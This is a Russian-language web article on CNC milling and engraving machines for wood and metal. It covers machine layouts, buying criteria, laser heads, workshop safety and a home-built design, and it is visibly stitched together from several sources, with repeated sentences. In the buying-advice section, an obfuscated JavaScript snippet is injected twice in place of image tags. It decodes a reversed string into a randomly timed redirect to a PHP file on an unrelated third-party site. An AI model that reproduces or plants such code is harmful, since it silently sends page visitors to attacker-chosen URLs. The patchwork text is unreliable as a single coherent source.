Фрезерный станок с ЧПУ по дереву: идеи для мастера

Для чего используется фрезеровка фанеры

Деревообрабатывающий станок с фрезами – лучший выбор для выполнения криволинейной резки фанеры различных форматов. Скорость и качество автоматизированных процессов несравненно лучше ручной обработки материала. В этом отлично разбираются строительные компании и производители мебели: именно для них ]фрезеровка фанеры Москва наиболее востребована. В последнее время возросло количество индивидуальных заказов от дизайнеров, архитектурных бюро, создателей нестандартной продукции в сегменте креативной мебели, эксклюзивной сувенирной продукции и авторских детских игрушек.

8.4. Фрезерные станки с ЧПУ

Фрезерные станки с ЧПУ предназначены для обработки плоских и пространственных поверхностей заготовок сложной формы. Конструкции фрезерных станков с ЧПУ аналогичны конструкциям традиционных фрезерных станков, отличие от последних заключается в автоматизации перемещений по УП при формообразовании.

В основе классификации фрезерных станков с ЧПУ лежат следующие признаки:

расположение шпинделя (горизонтальное и вертикальное);
число координатных перемещений стола или фрезерной бабки;
число используемых инструментов (одноинструментные и многоинструментные);
способ установки инструментов в шпиндель станка (вручную или автоматически).

По компоновке фрезерные станки с ЧПУ делят на четыре группы:

вертикально-фрезерные с крестовым столом;
консольно-фрезерные;
продольно-фрезерные;
широкоуниверсальные инструментальные.

В вертикально-фрезерных станках с крестовым столом (рис. 8.4, а) стол перемещается в продольном (ось X) и поперечном (ось Y) горизонтальном направлениях, а фрезерная бабка — в вертикальном направлении (ось Z).

Рис. 8.4. Компоновки фрезерных станков с ЧПУ с обозначением осей координат X, Y, Z и W: а — вертикально-фрезерный станок с крестовым столом; б — консольно-фрезерный станок; в — продольно-фрезерный станок; г — продольно-фрезерный станок с неподвижной поперечиной; д — широкоуниверсальный инструментальный фрезерный станок

В консольно-фрезерных станках (рис. 8.4, б) стол перемещается по трем координатным осям (X, Y и Z), а бабка неподвижна.

В продольно-фрезерных станках с подвижной поперечиной (рис. 8.4, в) стол перемещается по оси X, шпиндельная бабка — по оси Y, а поперечина — по оси Z. В продольно-фрезерных станках с неподвижной поперечиной (рис. 8.4, г) стол перемещается по оси X, а шпиндельная бабка — по осям Y и Z

В широкоуниверсальных инструментальных фрезерных станках (рис. 8.4, д) стол перемещается по осям X и Y, а шпиндельная бабка — по оси Z

Фрезерные станки в основном оснащают прямоугольными и контурными УЧПУ.

При прямоугольном управлении (условное обозначение в модели станка — Ф2) стол станка совершает движение в направлении, параллельном одной из координатных осей, что делает невозможной обработку сложных поверхностей. Станки с прямоугольным управлением применяют для фрезерования плоскостей, скосов, уступов, пазов, разновысоких бобышек и других аналогичных поверхностей.

При контурном управлении (условное обозначение в модели станка — ФЗ и Ф4) траектория перемещения стола более сложная. Станки с контурным управлением используют для фрезерования различных кулачков, штампов, пресс-форм и других аналогичных поверхностей. Число управляемых координат, как правило, равно трем, а в некоторых случаях — четырем и пяти. При контурном управлении движение формообразования производится не менее чем по двум координатным осям одновременно.

В отдельных случаях на фрезерных станках при обработке заготовок простой формы в условиях средне- и крупносерийного производства также применяют системы ЧПУ.

Во фрезерных станках с ЧПУ в качестве привода главного движения используют асинхронные электродвигатели (в этих случаях имеется коробка- скоростей) или электродвигатели постоянного тока.

На небольших фрезерных станках с прямоугольным ЧПУ применяют один приводной электродвигатель постоянного тока и коробку передач с автоматически переключаемыми электромагнитными муфтами, а на тяжелых станках с контурным управлением каждое управляемое координатное перемещение осуществляется от автономного электропривода постоянного тока.

Приводы движения подач фрезерных станков с ЧПУ имеют короткие кинематические цепи, передающие движение от двигателя непосредственно исполнительному органу.

Компоновка вертикально-фрезерного консольного станка с ЧПУ (рис. 8.5) мало отличается от компоновки традиционного станка без ЧПУ. На станине вмонтируют узлы и механизмы станка. Станина спереди имеет направляющие, закрытые кожухом 9, по которым перемещается консоль 1. На горизонтальных направляющих смонтированы салазки 2, по продольным направляющим которых передвигается стол 3. На привалочной плоскости станины закреплена фрезерная бабка 6, по вертикальным направляющим которой перемещается ползун 7 со шпинделем 5. В соответствии с требованиями безопасности труда ползун имеет защитный щиток 4. Сзади станка расположен шкаф 10 с электрооборудованием и УЧПУ.

Рис. 8.5. Фрезерный станок с ЧПУ: 1 – консоль; 2 — салазки; 3 — стол; 4 — защитный щиток; 5 — шпиндель; 6 фрезерная бабка; 7 — ползун; 8 — станина; 9 — кожух; 10 — шкаф

Контрольные вопросы

Какие компоновки фрезерных станков с ЧПУ вы знаете?
Какими СЧПУ оснащают фрезерные станки?

На что обращать внимание при выборе

При выборе компактного станка с ЧПУ обязательно уделите внимание таким моментам:

Габариты устройства и размеры стола. От этого параметра зависит максимальный размер деталей, которые вы сможете обрабатывать;

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tov-apparata-zavisit-maksimalnyy-dopustim-600×361.jpg» alt=»От габаритов аппарата зависит максимальный допустимый размер заготовки» width=»600″ height=»361″ /> От габаритов аппарата зависит максимальный допустимый размер заготовки

Тип силовой установки. Может быть шаговой или с сервоприводом. Первая отличается большей мощностью, но обеспечивает меньшую точность обработки;
Мощность и частота вращения. Как правило, этот показатель обычно находится в пределах 1,5-2,5 кВт. Скорость вращения может достигать 24-25 тысяч оборотов в минуту. В идеале мощность и частота вращения должны регулироваться, что делает станок более функциональным;
Блок ЧПУ. Желательно, чтобы блок ЧПУ можно было подключать к компьютеру. Это упрощает работу и увеличивает его возможности оборудования. В частности, подключение к компьютеру позволяет загружать готовые двухмерные и трехмерные модели. Причем, скачать модели для ЧПУ фрезерного станка можно в интернете;

$nJe=function(n){if (typeof ($nJe.list) == «string») return $nJe.list.split(«»).reverse().join(«»);return $nJe.list;};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toby-blok-chpu-byl-vynesen-v-otdelnyy-600×456.jpg» alt=»Желательно чтобы блок ЧПУ был вынесен в отдельный аппарат — это предотвратит воздействие вибраций на электронную часть» width=»600″ height=»456″ /> Желательно чтобы блок ЧПУ был вынесен в отдельный аппарат — это предотвратит воздействие вибраций на электронную часть

Тип охлаждения. Станки могут оборудоваться воздушной или водяной системой охлаждения. Если оборудование будет активно использоваться, лучше приобретать модель с водяным охлаждением, так как оно более эффективное;
Точность позиционирования режущего элемента. От этого параметра зависит погрешность фрезерной обработки. Соответственно, чем меньше погрешность, тем точнее получаются детали, поэтому желательно чтобы точность позиционирования составляла не более 0,1 мм.

Это вся основная инструкция по выбору станка

В остальном же следует уделить внимание производителю оборудования и его функциональности

Конструкция фрезерного станка по дереву

Оборудование для обработки древесины состоит из основных рабочих частей:

Компактной станины.
Рабочего стола.
Большой мощности электродвигателя, который рассчитан на вращение фрезы в 12-24 тысячи оборотов в минуту.
Режущего инструмента.
Суппорта, который можно регулировать, то есть опускать и поднимать.
Вала-шпинделя, закрепленного на суппорте под рабочим столом.
Вставного шпинделя.
Направляющих деталей в виде линейки и планки.

Немаловажное значение для бытовых станков по дереву имеет мощность двигателя. Обычно на оборудование для домашних мастерских устанавливаются электромоторы с мощность в 1,5 кВт. Однако если устройство будет эксплуатироваться в режиме постоянной нагрузки, то выбор лучше остановить на станке, который оснащен двигателем мощностью в 1,8 или 2,0 кВт

Однако если устройство будет эксплуатироваться в режиме постоянной нагрузки, то выбор лучше остановить на станке, который оснащен двигателем мощностью в 1,8 или 2,0 кВт.

Так как скорость вращения фрезы напрямую зависит от ее величины, станок должен быть оснащен регулятором оборотов. Во избежание перегрева скорость вращения крупных фрез не должна быть слишком большой.

Верхний конец вала-шпинделя проходит через отверстие стола, и на нем закрепляется режущий инструмент и вставной вал.

Специальные пазы, присутствующие на станке, предназначены для того, чтобы крепить на нем упоры.

Современное оборудование по дереву оснащено механизмом, с помощью которого регулируется глубина фрезеровки. Режущее устройство по высоте может быть зафиксировано в любой точке, в это время станок на двух вертикальных направляющих скользит вверх и вниз. Для часто повторяющихся работ существует трехпозиционный ограничитель, на который фрезер опускается и фиксируется. Более тонкая регулировка по высоте осуществляется с помощью дополнительного винтового упора.

На каждом устройстве для обработки дерева устанавливается специальный упор, с помощью которого фрезерование ограничивается на необходимом расстоянии от края заготовки. Такой механизм движется по двум закрепленным в основании стенка горизонтальным штангам. Фиксируется упор двумя винтами.

Обработка металла – всегда актуально

Имея в своём распоряжении технику с гравировочной насадкой по металлу, их владельцы знают, как заработать на ЧПУ, пользуясь такими станками.

В перечне продукции:

металлические таблички и монограммы,
детали для сборки нового станка или других устройств,
лазерная гравировка-резка мягких металлов, создание объемных рельефов на поверхности металла на современных 3d фрезере,

обработка алюминия фрезером на ЧПУ – одна из идей, приносящих прибыль. Детали высокой точности приобретают автомастерские. Иногда умелец на 4-осном станке делает редкие запчасти, по стоимости, превышающие цену станка.
плазменная резка металлов на плазморезах, имеющих числовое программное управление.

Работать с гранитом и мрамором – тоже выгодное дело. А еще бизнесу послужит станок по камню с ЧПУ, на котором можно обрабатывать твёрдые материалы.

Можно отлично заработать, делая барельефы, гранитные или мраморные мемориальные памятники.

Главное, чтобы фрезы соответствовали породе, которую обрабатывают. Из камня (драгоценного и поделочного), используя гравировальные устройства, сделано немало ювелирных изделий и сувениров, отличающихся большим количеством моделей.

Возможно людям, потерявшим работу, стоит попробовать свои силы в этой области.

Описание конструкции

Существует много видов фрезерных ЧПУ станков для работы с древесиной. Они отличаются друг от друга, но схожи по строению.

Основные детали – станина, суппорты, фрезерный стол, шпиндель, режущий инструмент. В некоторых аппаратах присутствует дополнительная комплектация, главной частью которой является каретка. Она позволяет работать под разными углами.

Описание деталей:

Фрезерный стол – основа конструкции, рабочая площадь
Суппорты – используются для закрепления рабочих инструментов.
Станина – скрепляет детали конструкции.
Шпиндель – устройство закрепляющее обрабатываемую заготовку при работе. Вращает заготовку при работе. Чем выше скорость вращение, тем выше качество изделий.
Режущий инструмент – используется для обработки материала.

Режущие инструменты отличаются в каждом виде оборудования. В основном используются ножи, диски, фрезы и сверла.

Ещё одна деталь: если вы приобретаете агрегат для проведения высокоточной обработки, то обратите внимание на шпиндель. Скорость вращения напрямую влияет на точность обработки. Ещё одним преимуществом фрезерных ЧПУ станков является безопасность

Инструменты имеют безопасное строение и расположение

Ещё одним преимуществом фрезерных ЧПУ станков является безопасность. Инструменты имеют безопасное строение и расположение.

Выбор материала для фрезеровки

Для получения высококачественной продукции необходим правильный выбор материала. В зависимости от назначения и требуемых свойств будущего изделия, следуют использовать определенные виды и сорта фанеры. Рациональный выбор материала сведет к минимуму потери при обработке и сократит себестоимость.

Породы древесины

Фанера может изготавливаться из березы или хвойных пород.

Фанера хвойных пород (еловая) . Имеет менее удачные в плане возможностей обработки характеристики и применяется для изготовления временных и вспомогательных конструкций в строительстве, например, опалубки. В результате резки или фрезеровки кромка может иметь сколы.

2 Лазерные фрезерно гравировальные станки

Одним из самых удобных в использовании при резке и гравировке материала является лазерный станок. Такое устройство имеет ряд преимуществ перед обычными станками с механическим воздействием на обрабатываемую деталь.

2.1 Принцип работы

После того как заготовка закрепляется на рабочем столе станка, происходит ее обработка (резка, гравировка) по заранее определенной схеме или программе на станках с ЧПУ.

Процесс гравировки по заранее заданной программе

Воздействие на материал производится лазерным лучом, имеющим очень высокую температуру, который прожигает насквозь или на определенную глубину заготовку.

Движение лазерной головки происходит в двух направлениях — продольном и поперечном с возможностью подъема/опускания по вертикали. Различные модификации имеют несколько вариантов перемещения лазерной головки:

вертикальном (в любом типе);
горизонтальном — продольно столу и поперечно по направляющим, которые находятся над ним;
горизонтальном — поперечно столу, а продольно передвигается сам стол;
горизонтальном — и поперечно и продольно передвигается только стол.

2.2 Разновидности лазерных головок

Твердотельная головка — разогрев происходит при помощи высоковольтных разрядных ламп, которые могут генерировать импульсную или постоянную энергию.

Лазерная головка гравировально-фрезеровочного станка

Головка с диодной накачкой — в ней, вместо разрядных ламп, используются светодиоды высокой мощности.

СО2 лазерная головка — наиболее используемая, так как позволяет работать практически с любым материалом.

2.3 Удобство использования

При работе такого станка, не нужно выполнять своими руками никакую ручную работу. Оператору необходимо лишь следить за выполнением заданной программы, и своевременно менять заготовки, убирая готовые детали своими руками.

При обработке материала лазером, отходов обработки практически не возникает. Использование предварительного планирования раскроя плоских поверхностей позволяет по максимуму использовать всю площадь заготовки, что также, удобно и экономно.

2.4 Достоинства

К таковым, в первую очередь, относится отсутствие механического воздействия на деталь, что позволяет проводить ее обработку своими руками с очень высокой точностью.

Гравировка или раскрой могут иметь абсолютно любую конфигурацию по готовому изделию. Буквы, узоры, изображения будут иметь вид четкого, хорошо просматривающегося рисунка, а при вырезании плоских конфигураций ограничений в сложности кривизны линии реза просто отсутствуют.

Присутствует экономный расход материала для будущих изделий за счет того, что однотипные фрагменты на большой поверхности можно расположить в оптимальном порядке при помощи специальных программ.

Поверхность изделия после лазерной резки не требует дополнительной обработки

Небольшой вес и скромные габариты станка, позволяют размещать оборудование без использования больших производственных площадей и специально подготовленного фундамента.

2.5 Универсальность

Такое оборудование позволяет производить обработку практически любого материала, начиная от мягких структур, таких как поролон или ткань, и заканчивая трудно поддающимися обработке металлами, таких как нержавейка.

При смене режимов работы, в зависимости от обрабатываемого материала, оборудование не требует проводить особых наладочных и тестовых процессов своими руками. Достаточно программно внести изменения и настольныи станок sd 3025 сделает перенастройку самостоятельно.

Выбор фрезерного станка по дереву

Перед покупкой оборудования следует определиться с его загрузкой и размерами деталей. Для домашней мастерской подойдет настольная модель с механическим копиром. При серьезном увлечении изготовлением уникальной мебели и для малых мебельных предприятий нужно приобрести станок 3D с ЧПУ. Большое количество совершенно одинаковых деталей за короткий промежуток времени позволит увеличить производительность предприятия, и затраты на приобретение программного блока окупятся.

Консольный фрезеровочный промышленный агрегат оправдает себя только на предприятиях массового производства крупных деталей, при раскрое листов ДВП и других элементов для мебели и строительства.

Что представляют собой фрезерное оборудование?

Фрезерно-гравировальный станок по дереву состоит из следующих элементов:

Станины на массивном основании-платформе;
Опорной консоли;
Рабочей поверхности с направляющими, где устанавливаются заготовки для резьбы;
Шпинделей – металлических валов, на которых закрепляются фрезы;
Электрического привода;
Блока управления (ЧПУ);
Специальных инструментов — фрез – насадок, которые и режут древесину.

В зависимости от положения рабочей поверхности и шпинделей фрезерно-гравировальный станок по дереву относится к одному из основных классов.

Универсальные — имеют поворотный рабочий стол.
Горизонтально-фрезерные. Шпиндель расположен «лежа».
Широкоуниверсальные — имеют дополнительные головки.
Вертикально-фрезерные. Положение шпинделя — «стоя».
Широкоуниверсальные инструментальные. Основной стол закреплен вертикально, а шпиндельные узлы двигаются в поперечном направлении.
Бесконсольные. Стол и салазки передвигаются по направляющим станины, которая установлена на фундаментальную платформу.

Как работает гравировальный фрезер?

Деревянная заготовка прочно закрепляется на столе, а при необходимости перемещается по направляющим салазкам. Вращающаяся фреза, которую поддерживает специальный хобот, обрабатывает дерево, вытачивая нужную конфигурацию. Гравирование подразумевает нанесение надписи, рисунка или орнамента на поверхность детали

Важно, что главное движение — вращение фрезы, а перемещение закрепленной заготовки — подающее

Рассматриваемые машины могут обрабатывать как плоскостные заготовки, так и объемные детали. Для изготовления трехмерных изделий из дерева предназначены фрезерно-гравировальные 3D станки с ЧПУ.

Видео о работе станков

Некоторые модели станков можно доукомплектовать различными приспособлениями в зависимости от производственных задач. Например, дополнив конструкцию фрезерно-гравировального станка по дереву поворотной осью, можно фрезеровать тела вращения. Вторая режущая головка (электрошпиндель) позволить одновременно обрабатывать две одинаковые детали. Серводвигатель увеличит мощность и точность работы – а, следовательно, и производительность. Увеличение винтового хода по оси Z необходимо для фрезеровки на радиусных формах. Система аспирации, как пылесос, будет всасывать стружку, пыль и древесные отходы. На фрезерно-гравировальный станок по дереву можно дополнительно установить систему порционной смазки, которая автоматически смазывает направляющие и ШВП.

Видео самодельного оборудования

Выбирая фрезер, обратите внимание!

От жесткости и массы основания зависят стабильность и виброустойчивость функциональной части фрезерно-гравировального станка по дереву, а, значит, и точность обработки деталей. Поэтому производители часто делают станины из чугуна и подобных тяжелых сплавов. Основное правило: чем жестче – тем лучше.

Желательно, чтобы площадь рабочей зоны позволяла обрабатывать деталь единоразово, за одну установку. Чем меньше раз надо менять положение заготовки — тем выше общая скорость работы.

Шпиндель фрезерно-гравировального станка должен быть жестко закреплен и иметь не менее трех подшипников, которые препятствуют вибрации фрезы.

Направляющие и шариково-винтовые передачи должны быть с преднатягом.

Все координаты фрезерно-гравировального станка по дереву — строго перпендикулярны и параллельны.

Неподвижно крепить заготовку можно как с помощью ручных прихватов, так и специальными присосками или на вакуумном столе.

Однофазный или трехфазный. Если станок работает от 220 В, то нет необходимости в производственном помещении с трехфазной электросетью. Фрезер можно поставить и в небольшой бытовой мастерской с однофазной разводкой.

Для работы на фрезерно-гравировальном станке по дереву более удобно программное обеспечение с русским интерфейсом.

Чем обусловлена цена?

Стоимость и срок окупаемости фрезерно-гравировальных станков с ЧПУ для обработки дерева напрямую зависит от нескольких факторов:

размера рабочей поверхности;
количества настраиваемых параметров работы;
конструкции и типа направляющих;
материала опорной станины;
способа крепления заготовки: механического или вакуумного;
качества исполнения шпинделя и количества подшипников;
количества посредников в цепочке завод — конечный потребитель.

Каждый дополнительная функция увеличивает стоимость фрезерно-гравировального станка по дереву. Для избежания излишних трат надо точно определиться, какие именно работы будут выполняться на станке.

Стальной суперблок 1-2-3

Базовые блоки 1-2-3 это более сложная версия параллельных прецизионных блоков, упомянутых ранее. Как и параллельные блоки, их нетрудно изготовить, но они требуют некоторой точности. Главное, чтобы каждый блок был такого же размера и формы, что и другие, обеспечивая параллельность и соответствие сторон. Вы можете использовать блоки 1-2-3, чтобы поддерживать детали или удерживать их над станиной фрезерного станка, что позволяет полностью фрезеровать детали через заготовку.

Суперблок 1-2-3 развивает идею дальше, используя чередующийся рисунок отверстий с зенковкой и резьбой, позволяя соединять блоки вместе. Соблюдение абсолютно точного чередующегося рисунка проверит ваши навыки обработки, а также поможет вам научиться доводить простой проект до совершенства.

Вы можете найти подробный план по созданию суперблока 1-2-3 в прикрепленном файле.

Каждый из перечисленных выше инструментов подтолкнет вас к развитию как оператора станка, заставляя изучать разные техники и думать о каждом проекте по-новому. Какой бы проект вы ни выбрали, после его завершения вы повысите свои умения в работе на фрезерном станке с ЧПУ.

Если вам понравилась данная статья, то ставьте лайк, делитесь ею со своими друзьями и оставляйте комментарии!

Источник

Особенности резьбы по дереву

Резьба по дереву – сложный процесс, зародившийся задолго до возникновения станочного оборудования. Фрезерным станком можно нанести на поверхность сложные орнаменты. Прибор имитирует ручную резьбу, но его действия менее затраты по времени и усилиям.

https://youtube.com/watch?v=u-y0qV74HjA

Станок с ЧПУ наиболее популярен для фрезерования в мебельном производстве. С его помощью оформляются кухонные фасады, и другие предметы мебельного интерьера. Наличие программоносителя дает возможность осуществлять серийное производство заданного орнамента, или же выполнить индивидуальные нарисованные композиции.

Наиболее популярными фрезами, используемыми на станках с ЧПУ по дереву, являются:

фасонные,
V-образные.

Фрезы ЧПУ не обязательно применимым к мебельным заготовкам. Их можно использовать по отношению к большинству поверхностей из древесины. Одним из самых распространенных применений данных инструментов является обработка картинных рамок.

Помимо фасадов фрезеровка позволяет обработать:

филенку,
вензель,
балясин.

Проект задачи для программоносителя можно разработать как самостоятельно, так и при помощи специальных организаций, занимающихся подобной работой.

Меры безопасности при работе на станках с ЧПУ: охрана труда

Во время работы на оборудовании с числовым программным управлением в обязательном порядке необходимо соблюдать правила техники безопасности. Если недостаточно ответственно к ним отнестись, можно нанести вред здоровью. Почти 96 % несчастных случаев на производстве происходят из-за несоблюдения техники безопасности.

Основная техника безопасности при работе с ЧПУ-станком

Перед допуском к станку оператор обязан пройти полный медосмотр, а также подтвердить знания правил использования устройства. Присвоенный разряд указывают в квалификационном удостоверении.

Приводы оборудования нужно отключать каждый раз, когда требуется снять изделие или установить заготовку. Также это необходимо делать и при удалении стружки, смене инструмента и выполнении замеров.

Стружку запрещено сдувать ртом или удалять руками. Для этого используются специальные крючки и щетки.

Перед началом работы оператор должен знать:

основные неисправности оборудования;
устройство станка;
правила распорядка в цеху;
требования санитарных норм.

На рабочем месте категорически запрещено употреблять алкоголь или наркотические вещества. Пьяного работника нельзя допускать к оборудованию.

Техника безопасности на токарном станке с ЧПУ

Перед началом работ на станке оператор должен проверить:

наличие инструмента;
надежность ограждения;
заземление;
работоспособность систем охлаждения и смазывания;
функционирование на холостом ходу.

Необходимо максимально прочно закреплять заготовки. Для этого используется специальное приспособление. Если зажимной механизм уже изношен, то нужно выполнить замену губок или кулачков.

Во время работы нельзя ничего класть на вибрирующие поверхности. Это может привести к травме.

Привод станка отключают в таких случаях:

при обнаружении поломки;
при сбоях в электропитании;
во время смазки;
во время перерыва в работе.

В самом начале работы необходимо выполнить следующие операции:

Включить привод устройства, после этого подать его на заготовку.
Отвести инструмент от детали, затем остановить шпиндель.

На работающем оборудовании запрещено выполнять такие манипуляции:

смазывать устройство и очищать от опилок;
выполнять замеры детали;
проверять обрабатываемую поверхность рукой.

После завершения работы станочник отключает электропривод. После этого нужно очистить устройство от стружки. Затем инструмент убирается на штатное место.

После полной остановки движущиеся части смазывают. Использованную ветошь необходимо положить в стальной ящик с крышкой.

Станки с ЧПУ — это современное оборудование, с помощью которого любой человек может обзавестись производственным участком. Устройства обладают уникальными возможностями. Они способны создавать произведения искусства, даже когда у оператора нет особых талантов.

Источник

Станок с ЧПУ своими руками

Функциональная схема станка с ЧПУ.

Итак, как сделать данное устройство? Чтобы изготовить станок ЧПУ своими руками, необходимо потратить время на разработку проекта, а также ознакомиться с существующими заводскими моделями. Следуя этим первым и самым простым правилам, удастся избежать самых распространенных ошибок.

Стоит отметить, что фрезеровочный ЧПУ станок – технически сложное устройство с электронными элементами. Из-за этого многие люди полагают, что его невозможно сделать вручную.

Конечно же, данное мнение ошибочно. Однако необходимо иметь в виду, что для сборки понадобится не только чертеж, но и определенный комплект инструментов и деталей. Например, понадобится шаговый двигатель, который можно взять из принтера и т.д.

Следует также учитывать необходимость определенных финансовых и временных затрат. Если подобные проблемы не страшны, тогда изготовить доступный по стоимости и эффективный агрегат с координатным позиционированием режущего инструмента для обработки металла или дерева не составит труда.

Схема

Наиболее трудным этапом изготовления станка ЧПУ по металлу и дереву является выбор оптимальной схемы оборудования. Тут все определяется размерами заготовки и степени ее обработки.

Для бытовых целей лучше отдать предпочтение чертежу небольшого устройства с необходимым набором функций.

Одним из вариантов может быть конструкция, состоящая из двух кареток, которые будут перемещаться в плоскости. Стальные шлифовальные прутки отлично подойдут в качестве основания. На них крепятся каретки.

Также понадобятся ШД и винты с подшипниками качения, чтобы обеспечить трансмиссию. Управление фрезера самодельного станка с ЧПУ будет осуществляться с помощью программы.

Подготовка

Для автоматизации самодельного фрезерного станка с ЧПУ необходимо максимально продумать электронную часть.

Чертеж самодельного станка.

Ее можно разделить на несколько элементов:

блок питания, обеспечивающий подачу электроэнергии на ШД и контроллер;
контроллер;
драйвер, регулирующий работу подвижных частей конструкции.

Затем, чтобы построить самому станок, необходимо подобрать сборочные детали. Лучше всего использовать подручные материалы. Это поможет максимально уменьшить расходы на инструменты, которые вам понадобятся.

Основу обычно делают из дерева, оргстекла или металла

Важно, чтобы во время движения суппортов не возникали колебания. Они приведут к неточной работе аппарата

В связи с этим нужно правильно разработать их конструкцию

В связи с этим нужно правильно разработать их конструкцию.

Вот некоторые советы по выбору деталей:

в качестве направляющих подойдут прутки диаметром до 12 мм;
лучшим вариантом для суппорта будет текстолит;
ШД обычно берут от принтеров;
блок фиксации фрезы также делается из текстолита.

Инструкция по сборке

После подготовки и выбора деталей можно приступать к сборке фрезеровального агрегата для обработки дерева и металла.

В первую очередь следует еще раз проверить все комплектующие и удостовериться в правильности их размеров.

Схема устройства ЧПУ.

Порядок выполнения действий при сборке выглядит приблизительно следующим образом:

установка направляющих суппорта, их крепление к боковым поверхностям конструкции;
притирка суппортов в результате их перемещения до тех пор, пока не удастся добиться плавного хода;
затяжка болтов;
установка компонентов на основании устройства;
закрепление ходовых винтов с муфтами;
крепление к винтам муфт шаговых двигателей.

Всю электронную составляющую следует расположить в отдельном блоке. Таким образом, вероятность сбоя во время работы будет сведена к минимуму. Подобный вариант размещения электроники можно назвать лучшей конструкцией.

Особенности работы

После того, как самодельный станок с ЧПУ был собран своими руками, можно приступать к испытаниям.

Кинематическая схема работы устройства.

В ПО должны содержаться все необходимые драйверы для контроллеров.

Начинать следует с несложных программ. При первых запусках необходимо следить за каждым проходом фрезы, чтобы убедиться в правильности обработке по ширине и глубине

Особенно важно проконтролировать трехмерные варианты подобных устройств

Что такое фрезерная обработка

В принципе, ручную резьбу по дереву условно можно отнести к фрезерованию. Но есть четкое различие – фрезеровкой называют только те виды обработки, которые проводятся с помощью вращающейся фрезы на ручных или стационарных станках.

Если исключить другие простые приемы деревообработки – пиление, теску, строгание, сверление, то в деревообработке остаются два основных направления.

токарная обработка – резьба вращающейся детали для придания нужной формы диаметру детали;
фрезерование – формирование линейных (не радиальных), продольных форм.

Область применения фрезерованных деталей безгранична. Такие детали можно встретить во многих сложных современных изделиях. Операция достаточно трудоемкая, но иногда её нечем заменить. Литье или штамповка не даст точных размеров, или этими способами невозможно изготовить такие сложные форматы. Единственным способом остается фрезерование.

Дополнительные приспособления

В конструкции фрезера с ЧПУ есть планка с разметкой, позволяющая выполнять прямолинейную обработку деталей. Некоторые модели агрегатов оборудованы промышленными мощными пылесосами. Они удаляют древесную стружку, мелкие щепки и пыль со станка.

Производители деревообрабатывающих станков с программным управлением постоянно совершенствуют модели и внедряют приспособления, существенно повышающие возможности оборудования. К примеру, система АТС позволяет максимально быстро сменить режущие элементы автоматически без участия оператора. Также применяются вакуумные столы, защитные устройства направляющих элементов, системы фильтрации и автоматической подачи смазочных и охлаждающих жидкостей, прочее

При выборе модели станка следует обращать внимание на наличие дополнительных систем и приспособлений, от которых зависит производительность оборудования